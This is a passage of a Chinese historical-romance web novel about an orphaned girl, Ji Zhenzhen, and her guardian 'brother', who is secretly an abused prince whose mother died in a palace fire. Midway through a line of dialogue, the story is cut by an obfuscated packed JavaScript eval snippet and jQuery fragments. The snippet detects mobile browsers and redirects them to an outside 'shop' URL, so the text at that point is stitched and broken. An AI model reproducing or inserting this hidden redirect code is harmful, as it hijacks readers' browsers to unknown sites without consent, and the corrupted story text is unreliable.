“蓁蓁,你还有我。从今往后,我便是你的家。”
“真的么?”
梦里的季蓁蓁抬起湿润的清眸,认真的问道。
“自然是真的。”
她似乎没那么伤心了,思量了下,眨巴着圆圆的眼睛道,“你比我大,以后,我便唤你兄长吧!”
“好。”
季蓁蓁醒来的时候,天光已经放亮。
她昨晚似乎是做了噩梦。往常做噩梦醒了,头会疼的厉害。今儿不知怎的,头一点不疼,整个人精神得很。
兄长天没亮便出门了,他在靠墙根的米缸底下放了银钱。
拿在手心里,沉甸甸的。
这便是她和兄长两个人半个月的饭钱了。
夜幕低垂,大雪初霁,明月洒下清辉。
小院里积了厚厚一层雪。
靠近院门口的角落里,生长着一颗枯树,枝桠上覆了层薄雪。
季蓁蓁在想,明年开了春能不能看到它发出新芽。
正出神,小院的木门被人推开了。
月色溶溶,映着他清癯瘦削的身形。枯枝在他冷白消瘦的脸上投下阴影。兄长穿的是惯常的素白薄衫,在这样的天,定是极冷的。
季蓁蓁迎上去,甜甜的唤,“兄长,你回来啦!”
“嗯,回来了。”
魏七低下头,看着她道。
他眉目温柔疏淡,眼下却有两道明显的乌青,像是昨夜……没休息好?
“兄长,你昨夜没睡好嘛?”
魏七想起蓁蓁夜里痛苦嘤咛,缠着要抱他的模样,稍稍不自觉的避开了她关切的目光,只答,“我无碍。”
还反过来问她,“白日里字练的如何了?”
季蓁蓁是识字的,父亲在世的时候,常亲自教她读书念字,教她一撇一捺怎么发力,季府覆灭后,她便再没了写字的心思。
兄长却不让她荒废学业,每每得了空,都要为她讲读经书。
她从前念的是《女诫》之类的书,兄长说这些书害人心智,买了些四书五经放置在她床头。
季蓁蓁最爱听兄长讲课,他平日里话不多,只有为她讲学的时候,才会娓娓道来。他的声音很好听,像玉石相击,温润沉郁。
“嗯,我写好啦!兄长,你快过来看!”
季蓁蓁点头如捣蒜,扯着魏七的衣袖往屋里走,两人一前一后,在院子的雪地上留下一浅一深两道脚印。
她写的一手娟秀小巧的簪花小楷,旁边是魏七的字迹,笔锋凌厉,力透纸背,不像是出身草莽的凡夫俗子写的字。
兄长不曾提及他的家人,季蓁蓁偶然问起过,他的脸色立刻变的难看,只说自己是个孤儿,从小无父无母,在乡野间长大。
她便不敢再问。
“写的不错。蓁蓁可知道,今天誊写的谁的故事?”他轻声夸赞。
“是春秋时期楚庄王的故事。”
“周王室衰微,楚庄王北伐至洛水,询问周天子使九鼎重量,言‘楚国折钩之喙,足以为九鼎’。”(注1)
“他是想问鼎中原,一统天下。”
“没错。”
“可周王室并无实质错处,他若是大兴干戈,岂不伏尸百万,流血千里?”
季蓁蓁不赞同的道。
“可是蓁蓁,自古以来,皆是如此。成王败寇,史书上,从来都只有这四个字。”
成王败寇。
季蓁蓁第一次想反驳,却发觉兄长的眸光不知何时竟变得有些冷,并未看她,而是像在看着某个遥不可及的远处。
房檐上传来簌簌的声响,积雪断裂滚落下来,地上飞起一阵雪沫。
兄长的声音逐渐小下去,夜已深,灯芯摇曳,发出轻微的“哔剥”声。
季蓁蓁的眼皮早就沉重的抬不起来,终于沉沉昏睡了过去。
这不是她第一次在听他讲课时睡着。
魏七看着季蓁蓁熟睡中安静的睡颜,唇角噙着笑,像做了什么美梦。
轻叹了口气,小心的抱起她,放在温热的炕上,又为她掖了掖被角,才推开门走了出去。
他没什么睡意。
他不叫什么魏七,魏七是蓁蓁泪眼朦胧的问他时,他随口说的名字。
他本名魏廷之。
盛京是盛国的国都,魏姓是盛国的国姓。魏廷之出生时是盛国的七皇子,虽是皇子,过的却是人人轻贱欺凌、猪狗不如的日子。
“呵,还挺能耐。”
魏景琰轻笑,手里的藤条下手却不轻,一下一下打在魏廷之的后背。
时值隆冬,跪在地上的人身上不着寸缕,只穿着亵裤,唇色被冻的乌青,发着抖,后背的肌肤渗出了血,却愣是一声不吭,一点也没有要求饶的意思。
“二哥,我看,不如这样……”
魏青轩是三皇子,素来唯魏景琰马首是瞻,附耳过去,果见魏景琰唇角微勾了下。
他放下藤条,蹲下身来,对着疼的唇瓣被咬出血的魏廷之道,“七弟,今天孤就给你个机会。要么,从孤的胯-下钻过去,要么,就让他们打到你求饶为止。你选哪个?”
魏景琰指了指他身后跟着的一行太监,笑的恶劣。
魏廷之冷冷看着这些人,他们欺他、辱他、嘲笑他,他却无力反抗。若是任由那些太监动手,他怕是……熬不过今日。
尊严,于现在的他而言,是最没用的东西。
他趴下身,朝着魏景琰的裤-裆匍匐。
“哈哈哈,他好像一条狗呀!”
“七皇子的母妃就是个低贱的宫女,也不知使了什么狐媚的法子,竟爬上了龙床!”
“有什么用?不照样在冷宫里疯疯癫癫的?”
“也是,哈哈哈哈!”笑声刺耳。
画面一转,一弯弦月照着肃穆冷清的宫城。
“走水啦,走水啦!快来人救火啊!”
碧梧宫的宫人匆匆跑出,高声呼救,眼见火势越来越大,火光将西南角的宫城上方映得通红,才终于有宫人闻讯赶来,他们只得了命往里泼水,丝毫没有要冲进去救人的意思。
十三岁的少年挣扎着想从床上爬起来,却连一根手指都动弹不得,他白皙的脸被灼烧的通红,汗如雨水般渗出,将床褥湿透,眼神空洞的望着熊熊燃烧的宫殿。
他就要这样被烧成焦黑的灰烬了么?
“阿之!我的阿之还在里面!”芸馨凄的嗓音干枯凄厉,眼睛里流出两行浑浊的泪。
“让我进去!”
“这个疯女人,是怎么跑出来的!”
“罢了,随她去,自己找死跟我们可没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263312|198066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么关系!”
火光映着芸馨焦急万分的脸,她蓬头垢面的冲进来,一边跑,一边止不住的干咳,旁边的木梁支撑不住倒下来,在她脸上留下丑陋的烫伤。
饶是如此,依稀也能分辨那张面孔曾经是多么美丽。
魏廷之有一双几乎同她一模一样的眸子。
清冷,如寒潭浸月。
也正是因为他这双酷似芸馨的眼睛,皇帝魏无极厌憎他,自他出生以来,便不闻不问,就当世上从没有过他这个人。
魏廷之不记得自己是怎么被救出来的了。
他只记得,他眼睁睁看着芸馨在自己面前被大火吞没,变成一具黑炭。
他没有掉一滴眼泪,麻木的看着马车车轮滚动辗转向后的巍峨宫城。
此后的很长一段岁月,他都快要忘记,自己原来也会哭。
“咳咳。”
雪夜里的魏七,站在月光照不到的阴影里,咳出了一滩血,在纯白的雪地上开出黯淡的花。
连日来的辛劳让他的身子愈发破败,他厌恶的看着地上的血,发出了一声嗤笑。
—
季蓁蓁难得的一夜安眠。
这天,她将前几日浣洗干净的衣裳装进木桶,拎着往巷子口的洗衣房去了。
因长期浸泡冰水的缘故,她细嫩的手上长出了难看的冻疮,这会皴裂开来,奇痒无比。
忍不住抓挠了下,顿时就出现几道血痕。她只能忍着不去抠,免得留疤。
数了数,得了十二文钱,够去集市上买两个热腾腾的白面馒头了。
她一个,兄长一个。
夜里兄长回来的时候,已至亥时,天上落了些星子。
季蓁蓁就坐在院门口的枯树底下等他,身上裹了床棉被,露出两只小鹿般灵动的眼。
老棉被用的年头久了,有些发黄,还不怎么保暖。冷风吹着,仍旧瑟瑟。
“蓁蓁,怎么不进屋去?不冷么?”
兄长的嗓音如戛玉敲冰,虚虚的飘进她耳朵里。
季蓁蓁回头,眼中噙满笑意,嘴上却在不满的嘟囔,“兄长,今日怎么回来的这般晚?我等了你好久!”
不待魏七开口,她仿佛嗅到什么,“呀,是糖炒栗子的味道!兄长是给我带了好吃的回来么?那我就原谅你啦!”
她掀开棉被,从板凳上跳下来,就要去魏七怀里抢,全然忘了不能被兄长注意到自己手背的事。
果然,他的脸色立刻变得冰寒,骨节分明的手指抓住她的手腕,让她动弹不得,冷声问,“蓁蓁,你的手怎么回事?”
“兄……兄长,许是最近天儿太冷了,就生了些冻疮,不碍事的。”
季蓁蓁不敢看他寒潭般的眸子,里头像淬了冰,支支吾吾的答道。
“只是如此?”
他却不想这么轻易的放过她,手下的力气又加重了几分,疼的季蓁蓁拧眉。
果然骗不了他。
她实在害怕兄长生气的模样,只觉得说不出的委屈,垂着头,口中嗫嚅。
“我……我说,我是去巷口的洗衣铺接了点活,可是……我也只是,想为兄长减轻一点负担……我觉得……我没有错。”
越说越委屈,杏眸里蓄满了泪,又变得雾蒙蒙的,到最后,终于控制不住流了下来。